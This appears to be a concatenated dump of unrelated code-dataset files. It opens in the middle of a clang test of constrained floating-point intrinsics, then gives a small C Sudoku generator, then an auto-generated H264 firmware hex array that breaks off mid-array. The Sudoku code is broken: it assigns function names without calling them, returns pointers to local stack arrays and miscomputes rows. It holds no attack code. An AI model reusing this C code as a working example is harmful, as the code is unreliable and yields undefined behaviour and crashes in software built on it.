@llvm.experimental.constrained.sqrt.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.sqrt.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.trunc.f64(double, metadata) // CHECK: declare float @llvm.experimental.constrained.trunc.f32(float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.trunc.f80(x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.trunc.f128(fp128, metadata) #pragma STDC FP_CONTRACT ON void bar(float f) { f * f + f; (double)f * f - f; (long double)-f * f + f; // CHECK: call float @llvm.experimental.constrained.fmuladd.f32(float %{{.}}, float %{{.}}, float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: fneg // CHECK: call double @llvm.experimental.constrained.fmuladd.f64(double %{{.}}, double %{{.}}, double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: fneg // CHECK: call x86_fp80 @llvm.experimental.constrained.fmuladd.f80(x86_fp80 %{{.}}, x86_fp80 %{{.}}, x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") };
the_stack_data/43887547.c	#include <stdio.h> #include <stdlib.h> #include <time.h> typedef struct point{ unsigned int x; unsigned int y; }point; typedef struct cell{ int val; point location; }cell; cell* empty_Sudoku(); cell* random_Sudoku(); void print_Sudoku(cell* Sudoku); int main(){ cell* sudoku; sudoku = empty_Sudoku; print_Sudoku(sudoku); sudoku = random_Sudoku; printf("\n"); print_Sudoku(sudoku); return(0); } cell* empty_Sudoku(){ int column; int row; cell Sudoku[27]; for (size_t i = 0; i < 27; i++){ column = i % 10; row = (i - (i % 10)) / 10; Sudoku[i].val = 0; Sudoku[i].location.x = column; Sudoku[i].location.y = row; } cell* p = &Sudoku[0]; return(p); } cell* random_Sudoku(){ int column; int row; srand(time(NULL)); cell Sudoku[27]; for (size_t i = 0; i < 27; i++){ column = i % 10; row = (i - (i % 9)) / 10; Sudoku[i].val = rand() % 10 +1; Sudoku[i].location.x = column; Sudoku[i].location.y = row; } cell* p = &Sudoku[0]; return(p); } void print_Sudoku(cell* Sudoku){ int row = 0; int row_pr; for (size_t i = 0; i < 27; i++){ row_pr = row; row = (i - (i % 10)) / 10; if (row > row_pr){ printf("\n\n"); } printf("\t%d\t", Sudoku[i].val); } printf("\n\n"); }
the_stack_data/75528.c	// This file was automatically generated from ./build/H264MasterFirmware.dnl using dnl2c. unsigned int ui32H264_MasterMTXTOPAZFWTextSize = 6723; unsigned int ui32H264_MasterMTXTOPAZFWDataSize = 3065; unsigned int ui32H264_MasterMTXTOPAZFWTextRelocSize = 0; unsigned int ui32H264_MasterMTXTOPAZFWDataRelocSize = 0; unsigned int ui32H264_MasterMTXTOPAZFWTextOrigin = 0x80900000; unsigned int ui32H264_MasterMTXTOPAZFWDataOrigin = 0x82886910; unsigned int aui32H264_MasterMTXTOPAZFWText[] = { 0x9040c001, 0xc80993fe, 0xc0000e42, 0xc8290e00, 0xc98e8422, 0xc8298460, 0xc6908622, 0x9e838640, 0xc8099e43, 0xcd1e0d42, 0xc8090d60, 0xcd200942, 0xc8090920, 0xc00a0e42, 0xc8090e40, 0xc00e87c2, 0x9c1887c0, 0x0c020802, 0x09820d82, 0x09020d02, 0x08820c82, 0x9320fffe, 0xa401c838, 0x0dc2c809, 0x0da0cd1e, 0x0e42c809, 0x0c66b080, 0x0882a992, 0x9ff3a48d, 0x93e0ffff, 0x80819d13, 0xa205f839, 0x03070707, 0x9e970685, 0xc8090383, 0xcd200ac2, 0xc8090ac0, 0xcd201ac0, 0x060f1aa0, 0x07fac101, 0x018d058d, 0x9c62008f, 0x9320ffff, 0xc101060b, 0x9c6206da, 0x9380ffff, 0x018d058d, 0x448cb700, 0x4414b780, 0xa6059c01, 0xc8090687, 0xcd200ac2, 0xc8090ac0, 0xcd201ac0, 0x060b1aa0, 0x06dac101, 0xffff9c62, 0xf9f89380, 0xf9f8aa9d, 0x9c22aa1d, 0x428cb700, 0xc000587c, 0xe0003800, 0xc0003800, 0x9c22901a, 0x9c8fc127, 0x080a9c22, 0x9c81c017, 0x9c80c071, 0x9c80c017, 0x0d849c22, 0x9e5a5db0, 0x4018b960, 0x0900c021, 0x0940c00e, 0xaa45f031, 0xf0009dad, 0x0910a261, 0x9341ffff, 0xc3fe9e5c, 0xc02129c0, 0xc0010a00, 0xc00e3988, 0x9dcd0a30, 0xa1e1f000, 0xc0219c22, 0xd1100d80, 0x9d3d05b7, 0x2244aa61, 0xffff7115, 0x9c229384, 0xd011a605, 0xc3fe0eb2, 0xc28029c0, 0x020b5ab0, 0x0a00c021, 0x398cc001, 0xc00e0685, 0x9dcd0a30, 0xa1e1f000, 0xc00e9eab, 0x0d020992, 0x0902cff0, 0x0a80c021, 0x9bdbfff4, 0x0ac0c00e, 0x4018b960, 0xaa619d5d, 0xa225f231, 0xffff0a90, 0xb79f9361, 0xb7bf7f6e, 0x8c407fee, 0xfffd9c22, 0x9e5c9040, 0x9c8bc020, 0x9080c000, 0xa185d229, 0x93c1ffff, 0xa6059c22, 0x9e5d9e9a, 0xfff40982, 0x000b9bf2, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0xb7209c22, 0xb760430c, 0x0d864708, 0x55b1b749, 0x5529b709, 0x90a0c000, 0xc00e0005, 0x9e5a287c, 0x52407015, 0x0902d011, 0x48a8b340, 0xffff78c8, 0x9c2292a4, 0xb7a0a605, 0xc0b84b8c, 0xd1106dc2, 0x099a06bb, 0xb76d008b, 0x0d845a31, 0x9b40c194, 0xb78d008b, 0xc00e5aa9, 0x7100287c, 0xd0010802, 0xb79f0802, 0xb7bf7f6e, 0x8c407fee, 0xa61d9c22, 0x9e9b0787, 0x07059e9d, 0x9e4e0385, 0x9bdcfff4, 0xd0127400, 0xc0011000, 0x9e6c9044, 0x4b8cb720, 0x6a42c0b8, 0x9ea902c2, 0x6e53d2f1, 0x5a51b76d, 0xc101099a, 0xc2000246, 0x00c25a10, 0x4c2db5c3, 0x4ab5b5e3, 0x4b35b5c3, 0x4badb5e3, 0xc1940d84, 0x008b9b07, 0x5a29b50d, 0xb79f0806, 0xb7bf7e6e, 0xb7df7eee, 0xb7ff7f6e, 0xc0027fee, 0x9c228c00, 0xb7409e5c, 0xc0b84b8c, 0x02446a42, 0x430cb580, 0x4590b560, 0x0d849c22, 0x9e5c5db0, 0x0a00c021, 0x0a00c010, 0xf0009dcd, 0x09bca162, 0x59905928, 0x2980cff0, 0x297cc00f, 0x0d80c021, 0xc00e3126, 0x9dbe0d80, 0xa161f000, 0x0d849c22, 0xc00e5db0, 0x0d020992, 0x0902cff0, 0x9260fff8, 0x5db00d84, 0xc0219e5c, 0xc0100a00, 0x9dcd0a00, 0xa162f000, 0x599009bc, 0xcff05928, 0xc00f2980, 0xc011297c, 0xc0213980, 0x31b40d80, 0x0d80c00e, 0xf0009dbe, 0x9c22a1e1, 0xc002a61d, 0xd0318400, 0x9e9f0abe, 0xa1922ac1, 0xa116a119, 0x9300c001, 0x7562c1fc, 0x0f02c0fc, 0x4446b356, 0xa992a916, 0x09029e73, 0x9bcefff4, 0x0b82a992, 0xfff4068d, 0xab199bc0, 0xc000010f, 0x7dde92e0, 0x9144c000, 0xe092a992, 0x018f8d00, 0x9ad8fff4, 0x8d00e091, 0x0b8477c0, 0x90e2c000, 0xaa45d029, 0xd2081f84, 0x0b04a241, 0x777f1e84, 0x9124ffff, 0xc101a91a, 0x052c12dc, 0xa916a11a, 0xa116052c, 0xfffe7540, 0xb79f9124, 0xb7bf7c6e, 0xb7df7cee, 0xb7ff7d6e, 0xc0047dee, 0x9c228c00, 0xc002a61d, 0x9e5c8400, 0xc2009e9f, 0xc0215a30, 0xa19a0a00, 0x0a30c110, 0x9dcd0982, 0xa1e1f000, 0x0efed032, 0xa1122ec1, 0xc002a115, 0xc1fc9180, 0xc0fc7762, 0xb3560f02, 0x0d024846, 0xb55f9e76, 0xb55f7df4, 0xb55f7d74, 0xb55f7cf4, 0x0b827c74, 0x8d80e092, 0xd01077c0, 0xc0000534, 0xa9919162, 0xd0291f84, 0xa191aa65, 0xa241d008, 0x9080c000, 0xa3c2d008, 0xf0310b84, 0x0d042afe, 0x9244c000, 0xe092a99a, 0xd0518d00, 0xfff419f0, 0x9eaa9a42, 0x7decb5bf, 0x7d6cb5bf, 0x7cecb5bf, 0x7c6cb5bf, 0x1b04e000, 0x92c4fffe, 0xa99aa916, 0x010d9e73, 0x9b19fff4, 0x16dca99a, 0x9b2ffff4, 0x05bca996, 0x7740a196, 0x92a4fffd, 0x7c6eb79f, 0x7ceeb7bf, 0x7d6eb7df, 0x7deeb7ff, 0x8c00c004, 0xb7209c22, 0xc0b6430c, 0xb74309aa, 0xb76d5a2d, 0x9e8a6631, 0x9100fffc, 0xa285f839, 0xf0089e90, 0xd091aa4d, 0xf0080cae, 0xc080a949, 0xc1015815, 0x01200244, 0xb5807640, 0xb54041cc, 0xc000414c, 0xb7809202, 0xb74040cc, 0xb740404c, 0x11284254, 0xc2000a06, 0x9ea15208, 0xb5403522, 0xd1a24254, 0xc00f5e30, 0x9ea308fe, 0x0d02cff1, 0x0d80c021, 0x9c83c010, 0x0de0c140, 0x08fcc00e, 0x0d00cff0, 0x9200c000, 0xaa65f029, 0x214a9e55, 0x59212242, 0x5a20c200, 0xba243244, 0x9dbe4006, 0xa261f000, 0x9241ffff, 0x404cb780, 0xb5800a04, 0xf9f8404c, 0x9c22aa9d, 0x9e91a685, 0x06858702, 0xc00e8522, 0xf2100b7e, 0x7640882b, 0x5153c200, 0x9182c002, 0xaa61f008, 0xe0009e69, 0x22a22a1c, 0x5920c280, 0x4442b423, 0xaa61f008, 0xa962d010, 0xf3102a1c, 0xc1018821, 0xba0c1242, 0x1003400a, 0xc2005241, 0x9e955921, 0x2a7cc00e, 0x0910d031, 0x520bc200, 0xd3f23454, 0xc0002ace, 0xc20092ea, 0x9e515224, 0xd0103242, 0xf008a261, 0xd011a961, 0xd1102a2e, 0x750e0619, 0x0615d110, 0x0db2d009, 0xa261f008, 0x9240c000, 0xa062d010, 0xaa61f008, 0x0619d110, 0x02429e81, 0xa261f008, 0x2cfccffe, 0xa164d032, 0x9220fffd, 0xb7bf9e58, 0xb7df7f6e, 0x8c407fee, 0xa60d9c22, 0x9e589e56, 0x09069e9e, 0xc0000d02, 0x13649080, 0xd0110124, 0x710c1a22, 0x2eaed3f2, 0xffff0d04, 0x9e6d9306, 0x9080c000, 0x9b8cfff4, 0x0a52d011, 0x9e837510, 0x0d029e73, 0x1aa00922, 0x92d2ffff, 0x294ed3f1, 0xfff40d04, 0xc0009b7d, 0xd3f291e0, 0x9e6c2ace, 0x52d1c200, 0x295ed3f2, 0x9b72fff4, 0xc2009e6c, 0x136a52b0, 0xd0317750, 0x9e831e50, 0x09229e73, 0x91b2ffff, 0x296ed3f2, 0xb79f9e6a, 0xb7bf7eee, 0xb7df7f6e, 0x8c607fee, 0x9340fffa, 0x1d20f011, 0xd01d9e9a, 0xd00d0224, 0xc0001a42, 0x1205909a, 0x9e531244, 0xfffd9ea2, 0x02079140, 0xa1c1d010, 0x9ea29e53, 0xfff70c82, 0xa60592a0, 0x02870d0a, 0x9b9dfff4, 0x430cb720, 0x56a9b786, 0xc0007500, 0x02039122, 0x0a60c09a, 0xaa01d208, 0x3a040248, 0x9ea29e83, 0xb79f018b, 0xb7bf7f6e, 0x8c407fee, 0x90a0fffc, 0xb720a605, 0xf011430c, 0xc0020ea0, 0xb7460a02, 0xb35456a9, 0x02894424, 0x9e9d7480, 0x90a2c000, 0xba2c0248, 0x75404000, 0x9116c000, 0x0d02120b, 0x4000ba2c, 0x9060c000, 0xfff40d06, 0x9e839b66, 0xd0129e6b, 0xb79f1952, 0xb7bf7f6e, 0x8c407fee, 0x9360fffa, 0xc002a61d, 0xe0918420, 0x0a028c88, 0x7d6cb59f, 0x7cecb59f, 0x7c6cb59f, 0x7b6cb59f, 0x402db580, 0xa9e1f008, 0xa19aa11e, 0x1936d012, 0x0b12d011, 0x7686c004, 0x9212c01a, 0x5d0cd126, 0xe0508520, 0xc0028044, 0xc0029100, 0xc01a91a0, 0xc01a90a0, 0xc0029060, 0xc01992c0, 0xc01993e0, 0xc01993a0, 0xc0199360, 0xc0199320, 0xc01092e0, 0xc0199060, 0xc0199260, 0xc0109220, 0xc0109120, 0xc0199260, 0xc0199160, 0xc0199120, 0xc01090e0, 0xc01993c0, 0xc0199060, 0xc0189020, 0xc01893e0, 0xc00293a0, 0xc0029060, 0xc0059220, 0xc0069340, 0xc0069100, 0xc00c92c0, 0xc0189140, 0xc01891e0, 0xc01891a0, 0xc0189160, 0xc0189120, 0xc01890e0, 0xc01090a0, 0x9eb39120, 0x1924d072, 0x8d80e0b1, 0x91a0c000, 0x430cb780, 0xe0b19eb3, 0xc0a08d80, 0xd2080a5c, 0xd120a902, 0xfff41125, 0xc0179b27, 0xa89d9040, 0x9e520d06, 0x41adb7a0, 0xe0b19eb3, 0x4afd8d80, 0x9a72fff4, 0x9e832a9c, 0x8d80e0b1, 0x0d02010b, 0x9380c00e, 0x430cb780, 0x9eb30d02, 0x0a00c0a0, 0xaa01d208, 0x8d80e0b1, 0x7500090a, 0x0d22d002, 0x9180c00e, 0x430cb720, 0x0a827640, 0x7f2db784, 0x0ad2d002, 0xc0007500, 0x75409264, 0x9202c000, 0x7fadb744, 0x76adb784, 0x9eb30d02, 0xe0b17104, 0x090a8d80, 0x0d22d001, 0x9200c00d, 0x76adb744, 0x7fadb784, 0xc0027088, 0x0d069004, 0xe0b19eb3, 0x9e528d80, 0x9a30fff4, 0xc0007540, 0xb72093a2, 0xb786430c, 0x750056a9, 0x91c2c000, 0x73adb784, 0xc0007502, 0x9e839122, 0x8d80e0b1, 0x0d2ec002, 0x90e0c000, 0xe0b19e83, 0xc0028d80, 0x09220d2a, 0x9a12fff4, 0xe0b19e83, 0x09168d80, 0xfff40d1e, 0xb7809a0b, 0x9e83430c, 0x8d80e0b1, 0x0a64c09a, 0xa902d208, 0x9a5ffff4, 0x9e830d06, 0x8d80e0b1, 0xc00b9e52, 0x02039160, 0x0a00c0a0, 0xaa01d208, 0xc0127500, 0xc00992c2, 0xb78090e0, 0x0d02430c, 0xc09a9eb3, 0xd2080a74, 0xe0b1aa01, 0x09068d80, 0xd0017500, 0xc00a0d22, 0xb7809220, 0xc09a430c, 0xd2080a70, 0x7500aa01, 0x9302c005, 0xe0b19eb3, 0x0d2a8d80, 0xc00a0912, 0xb7209020, 0xb7844314, 0x750473cd, 0x1524d022, 0x92c4c001, 0x9e4a9e4c, 0x0a34c09a, 0xaa01d208, 0x7fd5b744, 0x0970c09a, 0x5a08c200, 0x00c2c101, 0x79adb764, 0xa941d008, 0x0a32d011, 0x0d027299, 0x0d22d002, 0xc0007480, 0x9e4c9362, 0xc09a9e4a, 0xd2080a38, 0xc09aaa01, 0xd008096c, 0xc200a941, 0xc1015a08, 0xb72400c2, 0x0a0279ad, 0x70c20884, 0xd0029e53, 0x32460a42, 0x3128d020, 0x9e519e4c, 0x0a68c09a, 0xaa01d208, 0xc00e3218, 0x75002a7c, 0x9102c003, 0x9eb30d06, 0x8d80e0b1, 0xfff49e52, 0xb720997f, 0x0203430c, 0x0a68c09a, 0xaa01d208, 0xc0007500, 0x9e839122, 0x8d80e0b1, 0x9a2ffff4, 0x92e0c000, 0xc09a0203, 0xd2080a34, 0xb744aa01, 0x9e837fb5, 0x5a08c200, 0xb72400c2, 0xe0b179ad, 0xd1208d80, 0xba121115, 0xfff44001, 0xb7209a35, 0x0203430c, 0x0a70c09a, 0xaa01d208, 0xc0047500, 0x02039022, 0x0a6cc09a, 0xaa01d208, 0xc0027500, 0x020393a4, 0x0a68c09a, 0xaa01d208, 0xc09a0103, 0x75000938, 0x90c2c000, 0xaa41d008, 0x9340c002, 0xc09a0203, 0xd2080a34, 0xd008aa01, 0x9e83a941, 0x5a08c200, 0x00c2d020, 0x00a25908, 0x79adb724, 0x79d5b724, 0x8d80e0b1, 0x1113d120, 0x91c0c002, 0x9ea29eb3, 0x8d80e0b1, 0xc0040906, 0xb7209160, 0x0203430c, 0x0a6cc09a, 0xaa01d208, 0xc0007500, 0xb7849284, 0x7500762d, 0x9044c002, 0xc09a0203, 0xd2080a34, 0xc200aa01, 0x00c25a08, 0x79adb784, 0xc0017500, 0x0d0692a4, 0xe0b19eb3, 0x9e528d80, 0x98f6fff4, 0x430cb720, 0xc09a0203, 0xd2080a6c, 0x7500aa01, 0x9122c000, 0xe0b19e83, 0xfff48d80, 0xc00099a6, 0x020392e0, 0x0a38c09a, 0xaa01d208, 0x5a08c200, 0x7fb5b744, 0xb72400c2, 0x9e8379ad, 0x8d80e0b1, 0x1115d120, 0x4001ba12, 0x99acfff4, 0xe0b19e83, 0x0d0e8d80, 0x9380c000, 0xe0b19eb3, 0x0d028d80, 0x9140fffd, 0x430cb720, 0xe0b19eb3, 0xb7448d80, 0x09167fb5, 0x2d7cc00e, 0x9140c001, 0x430cb720, 0xe0b19eb3, 0xb7448d80, 0x2d047435, 0x990dfff4, 0x9220c008, 0x430cb720, 0x0d027640, 0x7f2db724, 0x0d22d001, 0x00929eb3, 0x0522c101, 0x8d80e0b1, 0x2d7cc00e, 0xc000091a, 0xb7209160, 0x9eb3430c, 0x8d80e0b1, 0x5731b746, 0x45220906, 0x988efff4, 0x9220c007, 0x4e8cb780, 0xb720a919, 0xc040430c, 0x7500aa45, 0x90c2c000, 0x5b2db7e3, 0x9080c000, 0x7eadb7e3, 0x4314b7a0, 0xb7449e69, 0x748473ad, 0x9124c000, 0x5429b783, 0xc0007500, 0xc00691a4, 0x748693a0, 0x9344c006, 0xb783048b, 0x750254c9, 0x9284c006, 0xc0909e6c, 0xd2080a70, 0xc008aa01, 0xc0007504, 0x748690a4, 0x90e0c000, 0x7520c008, 0x9084c006, 0xc0067484, 0x9e699024, 0xb7449eb3, 0xe0b16435, 0xf0918d80, 0xfff48c88, 0x048b98a6, 0x64d5b744, 0xe0b19e83, 0xc0088d80, 0xfff42b80, 0xb77f989c, 0xa99a7b6c, 0x9eaaa91d, 0xfff40f06, 0xa39198ec, 0x0a029e6f, 0xb59fa215, 0xc0037b6c, 0xd2089200, 0xfff4a922, 0xd2089829, 0xd011aa21, 0x75000ee2, 0x9242c000, 0x9e839e69, 0x6635b744, 0x8d80e0b1, 0x98c2fff4, 0xb744048b, 0x9e836955, 0x8d80e0b1, 0x98bafff4, 0x7b6cb77f, 0xa91da99a, 0x8d08e092, 0x98c1fff4, 0xb55f0902, 0xd2107b6c, 0x9eb3a962, 0x8d80e0b1, 0xffd40904, 0xd2109bff, 0x7500aa61, 0x91e2c001, 0x9e839e69, 0x6735b744, 0x8d80e0b1, 0x0ee4d011, 0x9898fff4, 0xb744048b, 0x9e836a55, 0x8d80e0b1, 0x9890fff4, 0xb77fa99a, 0xa91d7b6c, 0x8d08e092, 0x9897fff4, 0x9e690902, 0x7b6cb55f, 0x6835b744, 0xe0b19eb3, 0xfff48d80, 0x048b987d, 0x6b55b744, 0xe0b19e83, 0xfff48d80, 0xa91d9875, 0x7b6cb77f, 0xe092a99a, 0xd0128d08, 0xfff40b52, 0x0902987a, 0xb55f0e90, 0xa9917b6c, 0xc00074c0, 0xb7809184, 0x0d06430c, 0x0a70c09a, 0xaa01d208, 0xc0007500, 0x0d0a9062, 0x9ebfaa15, 0x7115028f, 0xc0920a04, 0xc0920aa0, 0x09060fa8, 0xe0b19eb3, 0x0b848d80, 0xfffba215, 0xc0009298, 0xb77f91c0, 0xa99a7b6c, 0xe092a91d, 0x0f068d08, 0x984bfff4, 0x9060c000, 0x9e700f02, 0x7beeb79f, 0x7c6eb7bf, 0x7ceeb7df, 0x7d6eb7ff, 0x8c20c004, 0xa61d9c22, 0x8440c002, 0xf0319e5f, 0xd011abc6, 0xc2000a72, 0x9ea65a30, 0xc0400d82, 0xc0210a00, 0xa2150f00, 0xb55fa191, 0xb53f7dec, 0xa0997d74, 0x7c74b57f, 0xb57f9e56, 0xb57f7a74, 0xb57f7af4, 0xb57f7b74, 0xc0407bf4, 0xc8010f50, 0x9dee0a02, 0xa261f000, 0x9200c002, 0xaa41f208, 0x0b10028d, 0xc0007500, 0x75049102, 0x90a2c000, 0xc0007502, 0xd0119284, 0xd00809d8, 0x7504a962, 0x9ebb0c82, 0x8d00e0d1, 0x0c92d002, 0x9af2ffd4, 0x03605808, 0xc0000806, 0xb75f9200, 0xb73f7dec, 0x9ebb7d74, 0x8d00e0d2, 0xfff4018b, 0xd0119837, 0xd0201e72, 0xf20803c0, 0x74c0a9a1, 0x90a4c000, 0xc000a19d, 0x74d891e0, 0x9124c000, 0x0d06a919, 0xd8080e86, 0xc000a142, 0x77409220, 0x9144c000, 0x0e82a91d, 0xc00e0220, 0xa21d2a7c, 0x90c0c000, 0x0651d110, 0x2aced3f2, 0x7a6cb79f, 0xfffd711f, 0x774091e6, 0x9322c000, 0xd011a91d, 0x59201e52, 0x2900c1f0, 0x32442a7c, 0x5940a911, 0xa9153244, 0x0900c021, 0x0900c008, 0xf0009dad, 0xa91aa261, 0xd8100a06, 0xa919a241, 0xaa41d808, 0xc0007500, 0xa9159284, 0x7c6cb79f, 0x0900c021, 0xc7ff0970, 0x9dad2a7e, 0xa261f000, 0x7aecb79f, 0x1679d110, 0xf0009dee, 0xb71fa261, 0xb79f7bec, 0xb7bf7b6e, 0xb7df7bee, 0xb7ff7c6e, 0xc0047cee, 0x9c228c40, 0x0d84a61d, 0x5f30c180, 0x9e769e74, 0x0a00c040, 0x078d9ea5, 0x0b00c021, 0x0f80c021, 0xc0210287, 0xc0080e80, 0x0b400b82, 0x0fd0c040, 0x93e0c000, 0x757ec03c, 0x0a7ec01e, 0x4434b354, 0x5914c200, 0xc3fe12d8, 0x9dfe2900, 0xa161f000, 0xaa619d5e, 0xf0009ded, 0x3a40a3e1, 0xf0009dde, 0x9ebaa261, 0x058d0992, 0xffd4010f, 0x75409870, 0x9044ffff, 0x0a02c008, 0xf0009ded, 0xb79fa261, 0xb7bf7e6e, 0xb7df7eee, 0xb7ff7f6e, 0xc0027fee, 0x9c228c00, 0x0d84a605, 0x9e5d5db0, 0x0e82c008, 0x0a80c021, 0x9ddd0ac0, 0xa2e2f000, 0xc0219e5a, 0xc0400900, 0x9d2d0900, 0x74c0a962, 0x3e20d051, 0x9082c000, 0x3e20d0d1, 0xf0009dad, 0x9e6aa261, 0x050b0992, 0x983bffd4, 0xf0009ddd, 0xb79fa2e2, 0xb7bf7f6e, 0x8c407fee, 0xa61d9c22, 0x8420c008, 0x8c88f212, 0x07059e5e, 0x9e9a0385, 0x0a829e6a, 0x0982c008, 0x5e6ab5bf, 0x992cffd4, 0x9e729eb3, 0xe2319eb9, 0x018b8c80, 0xfff4050b, 0x9eb39ab8, 0xfff4018b, 0xb79f9bb9, 0xb7bf75ee, 0xb7df766e, 0xb7ff76ee, 0xc00a776e, 0x9c228c20, 0xa285f839, 0x4b8cb720, 0x9d3a0a02, 0x9e8b9e8a, 0x9e889e89, 0x4e1cb760, 0x02830003, 0x9ea50183, 0xc0a00916, 0xc0aa0ddc, 0xc0a00810, 0xc15a0d60, 0xc1620c9c, 0xc15a0ad0, 0xc10209a0, 0x877f0c70, 0xa261d010, 0xa241d010, 0x4028b580, 0x4048b580, 0x4049b580, 0xa261d008, 0xa221d208, 0x72adb549, 0x502db588, 0x5629b589, 0x5d2db543, 0x40adb544, 0x5e2db582, 0x4f2db549, 0x4788b580, 0x90a0c000, 0xc2229d6b, 0xd3f1a104, 0x0e842e5e, 0xffff7135, 0xf9f89338, 0x9c22aa9d, 0xc912a61d, 0xc9129cc4, 0xb7c09cce, 0x9e5a4a14, 0xa1edf010, 0x1f68d191, 0xd0510e86, 0x0f820be0, 0xf2089e75, 0x7500aa2d, 0x93c4c000, 0x0a20d051, 0xf2089eab, 0xf208a003, 0xd011a2ae, 0xf2080a58, 0xd248a803, 0xf208aa21, 0xb580a921, 0x9e944688, 0xf2089c62, 0x010da863, 0x4690b5e0, 0xa2cef208, 0x9000ffff, 0xc0007502, 0xd05191c4, 0xf2080a20, 0xd051a003, 0xf2080a50, 0xd248a803, 0xc000aa21, 0x1ad09280, 0xc003714c, 0xfffe9262, 0xd0519180, 0xf2080a20, 0xb780a003, 0xf208498c, 0xb780a803, 0xd248460c, 0xb580aa01, 0xc0034688, 0xc0219140, 0x0a100a02, 0xaa619d4d, 0x7d00dfe0, 0x90c2c000, 0x0b02c100, 0x9120c001, 0x4808b760, 0x010f0b8a, 0xc02174c0, 0xc0300a02, 0xd0010a00, 0x9d4d1972, 0x2d71a962, 0x290c9e51, 0x9dcd3122, 0xa161f000, 0x080ac100, 0x9c81c017, 0xc00074c0, 0x9e9b90a4, 0x9b12ffb4, 0x9c82c171, 0x9c88c817, 0xcffe9ebb, 0xffb42b7c, 0x0d8a9b09, 0x9b06ffb4, 0x0902c021, 0x0900c030, 0xaa619d2d, 0x9dad3a0c, 0xa261f000, 0x4914b740, 0xd0319eb3, 0xc1000a58, 0x08862d80, 0x29e4d011, 0xa941f010, 0xc0007486, 0x76c090a4, 0x90c0c000, 0xc0007484, 0x74c090a4, 0x4644b40a, 0x72991d50, 0x91a2c000, 0x91c0ffff, 0x460cb780, 0xaa0df208, 0xfffc7502, 0xfffc9384, 0xb79f9140, 0xb7bf7e6e, 0xb7df7eee, 0xb7ff7f6e, 0xc0027fee, 0x9c228c00, 0xb780a605, 0x9e5b4688, 0x4614b760, 0xb7a06a52, 0xd1204588, 0xfff401c7, 0x9eab9b2b, 0x7f6eb79f, 0x7feeb7bf, 0xffbc8c40, 0xa60593e0, 0xc0009e5d, 0xfff49080, 0xb7809be7, 0x0d924708, 0xffff7948, 0x424a9344, 0x4708b580, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0x9e5da605, 0x460cb740, 0x0a54d011, 0x02446a52, 0x0948d031, 0xaa41f008, 0xd0017508, 0xb4221a46, 0xc0004622, 0xfff49080, 0x9eab9bc3, 0x9b1cffb4, 0x0d927400, 0x9324ffff, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0xa205f839, 0x9080c000, 0x9bb0fff4, 0x430cb720, 0x4708b780, 0xb7490d92, 0x22285629, 0xffff7104, 0xf9f892a2, 0xffb7aa1d, 0xa61d9080, 0x8400c002, 0xa1999e5e, 0xa111a116, 0x9080c000, 0x9b96fff4, 0x4508b780, 0xc01c0d92, 0xffff7d3e, 0xb7809324, 0xc0214508, 0xc0100d02, 0x0a040d10, 0x4508b580, 0xab629d2e, 0x0902c021, 0x0920c010, 0x2eeed072, 0xaa619d2d, 0xd0719e55, 0x038529ce, 0x9180c000, 0x9b74fff4, 0xab629d5d, 0x2eeed072, 0xaa619d7d, 0x29ced071, 0x0fd2d012, 0x2e7ed071, 0x71060d8a, 0x9202ffff, 0xb59f0a02, 0xb59f7c6c, 0xb59f7cec, 0xb59f7d6c, 0x03897dec, 0x4078b960, 0x9d7daa15, 0x8d00e093, 0xa905c270, 0x8026f010, 0xd2080b84, 0xffffa101, 0x9dcb92a1, 0x09829eb3, 0x9a19ffb4, 0xe0929eb3, 0x09828d00, 0x9a3cffb4, 0xb780aa91, 0xc2804b8c, 0xc0b85e88, 0x9eb36ac2, 0xc04e02d8, 0xf2080ac0, 0xb79fa922, 0x018f7dec, 0xa94ae050, 0xa21d0902, 0x9ae7ffb4, 0xcffe9eb3, 0xffb42f01, 0xaa1d9afc, 0xe0929eb3, 0x4a7d8d00, 0xb59f0982, 0xffb47dec, 0xf20899ee, 0x9e6caaa1, 0xe2409eb3, 0x018fa926, 0xffb40902, 0x9eb39af1, 0x9ae5ffb4, 0x77c0c004, 0xb3740a02, 0x9e724824, 0x32442a7c, 0x0902c021, 0x0910c010, 0xf0009dad, 0x9eb3a261, 0x8d00e092, 0xffb40982, 0xa91f99f5, 0x7decb79f, 0xffff7135, 0xb78092c4, 0xa9194508, 0x74801a04, 0x4508b580, 0x9102c000, 0xffb40d8e, 0x0d8a99af, 0x99acffb4, 0x7c6eb79f, 0x7ceeb7bf, 0x7d6eb7df, 0x7deeb7ff, 0x8c00c004, 0xf8399c22, 0x8440a205, 0x5e20d1a2, 0x9e9ba115, 0x9e539e4a, 0x2a00c7f0, 0x8d00e052, 0x3a04c001, 0xfff4a211, 0xf9f89b28, 0x9c22aa15, 0xa205f839, 0x0a028440, 0x0a40c0b8, 0x4b8cb720, 0x00c26229, 0x592db783, 0x5ca0c180, 0x59b5b703, 0x2a7cc006, 0xb7039ea3, 0xc7f05a2d, 0xb7232c80, 0x34965aad, 0x9e539e9b, 0x8d00e052, 0xa019a016, 0xa092a09d, 0x9b01fff4, 0xaa15f9f8, 0xa6059c22, 0x460cb780, 0xb7400906, 0xf2084a94, 0xf010a10d, 0x0a10a043, 0xa803f208, 0x490cb7a0, 0xb5800a02, 0xd1924688, 0x010b1ad8, 0xaa4df1e9, 0xc000750a, 0x0d9290e2, 0x9a80fff4, 0x92e0ffff, 0xffff709b, 0xb78092a4, 0xf2084a8c, 0xb79fa803, 0xb7bf7f6e, 0x8c407fee, 0xa6059c22, 0x0d80c021, 0x06b7d110, 0xc0000685, 0xb78091c0, 0x0a044808, 0x4808b580, 0x9a62fff4, 0x4808b780, 0xb5801a04, 0x9d5d4808, 0x791baa61, 0xffff0d8e, 0xb79f9202, 0xb7bf7f6e, 0x8c407fee, 0xb7409c22, 0x0d06488c, 0x4028b960, 0xaa41f008, 0xb4127508, 0x09504a22, 0x9341ffff, 0xb7409c22, 0x45b44710, 0x4710b560, 0x91a0ffff, 0xb7a0a605, 0x008b430c, 0x59adb783, 0xb5899ea9, 0xb7205629, 